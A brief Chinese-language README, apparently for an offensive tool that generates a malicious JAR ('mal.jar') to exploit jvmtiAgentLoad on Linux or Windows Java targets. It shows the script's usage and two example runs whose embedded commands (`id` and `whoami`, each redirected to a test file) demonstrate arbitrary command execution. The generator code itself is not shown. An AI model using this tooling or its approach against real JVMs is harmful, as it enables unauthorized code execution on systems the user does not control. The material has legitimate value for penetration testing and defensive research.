用于生成恶意 JAR 以利用 jvmtiAgentLoad 的工具和代码。
$ bash create_jar.sh
Usage: create_jar.sh <TARGET_OS> <COMMAND>
Supported TARGET_OS options: linux|windows
以下命令会生成一个可用于 Linux 目标的 JAR(mal.jar):
bash create_jar.sh linux 'id > /tmp/jvmtiLoadAgent_test'
以下命令会生成一个可用于 Windows 目标的 JAR(mal.jar):
bash create_jar.sh windows 'whoami > C:\\Users\\Public\\jvmtiLoadAgent_test.txt'